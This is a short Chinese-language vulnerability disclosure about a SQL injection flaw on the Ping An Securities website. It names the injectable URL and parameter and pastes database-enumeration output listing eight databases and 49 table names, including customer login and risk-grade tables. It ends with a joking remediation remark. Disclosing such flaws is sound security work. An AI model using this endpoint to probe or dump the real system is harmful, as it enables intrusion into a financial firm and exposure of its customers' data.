平安证券官网SQL注入可出数据下载

平安证券官网SQL注入可出数据偶尔看到 随手测试了下·
虽说是简单的SQL 毕竟是证券 涉及到数据也不太好吧

GET http://stock.pingan.com/jijinchaoshi/jijinxinwen/jijinnewinfo.iface?id=447239135223



available databases [8]:

[*] DBMGR

[*] DBQUA

[*] FOGLIGHT

[*] LBACSYS

[*] SISFWDATA

[*] SYS

[*] SYSTEM

[*] TOAD





Database: SISFWDATA

[49 tables]

+------------------------------+

| FST_INF_ANNOUNCEMENT |

| FST_INF_ASSETALLOCATION |

| FST_INF_CHARGERATE |

| FST_INF_DAILYQUOTE |

| FST_INF_DIVIDEND |

| FST_INF_FUNDARCHIVES |

| FST_INF_FUNDMANAGER |

| FST_INF_FUNDNEWS |

| FST_INF_INDUSTRY |

| FST_INF_INVESTADVISOROUTLINE |

| FST_INF_INVESTINDUSTRY |

| FST_INF_KEYSTOCKPORTFOLIO |

| FST_INF_NETVALUEPERFORMANCE |

| FST_INF_SECUMAIN |

| FST_INF_SHARESCHANGE |

| FST_INF_TRUSTEEOUTLINE |

| FST_JX_ANNOUNCEMENTTYPE |

| FST_JX_BASELINEYIELD |

| FST_JX_COMPANYABILITY |

| FST_JX_COMPANYABILITYRANK |

| FST_JX_COMPANYABILITYSTAR |

| FST_JX_COMPANYINDEX |

| FST_JX_CUSTOMEVALUATE |

| FST_JX_FQNVYIELD |

| FST_JX_FUNDABILITY |

| FST_JX_FUNDABILITYRANK |

| FST_JX_FUNDABILITYSTAR |

| FST_JX_FUNDINDEX |

| FST_JX_FUNDINSIDEINDEX |

| FST_JX_MANAGERABILITY |

| FST_JX_MANAGERABILITYRANK |

| FST_JX_MANAGERABILITYSTAR |

| FST_JX_MANAGERINDEX |

| FST_JX_MULTIRISK |

| FST_JX_POLICYPARAMADDRANGE |

| FST_JX_STOCKSTYLE |

| FST_JX_SXNETVALUE |

| FST_PAR_FUNDCATEGORYMASTE |

| FST_PAR_FUNDTOCATEGORY |

| FST_PAR_RISKINDEX |

| FST_PA_BANKFUNDTRANSSTATUS |

| FST_PA_CUSTOMANSWER |

| FST_PA_CUSTOMLOGIN |

| FST_PA_CUSTOMRISKGRADE |

| FST_PA_FUNDTRANSSTATUS |

| FST_PA_NEWFUND |

| FST_PA_RECOMMENDFUND |

| FST_PA_RISKEVALANSWER |

| FST_PA_RISKEVALQUESTION |

+------------------------------+



·未深入·

修复方案：多发点工资给安全部门的打工仔吧，他们肯定知道怎样修复漏洞的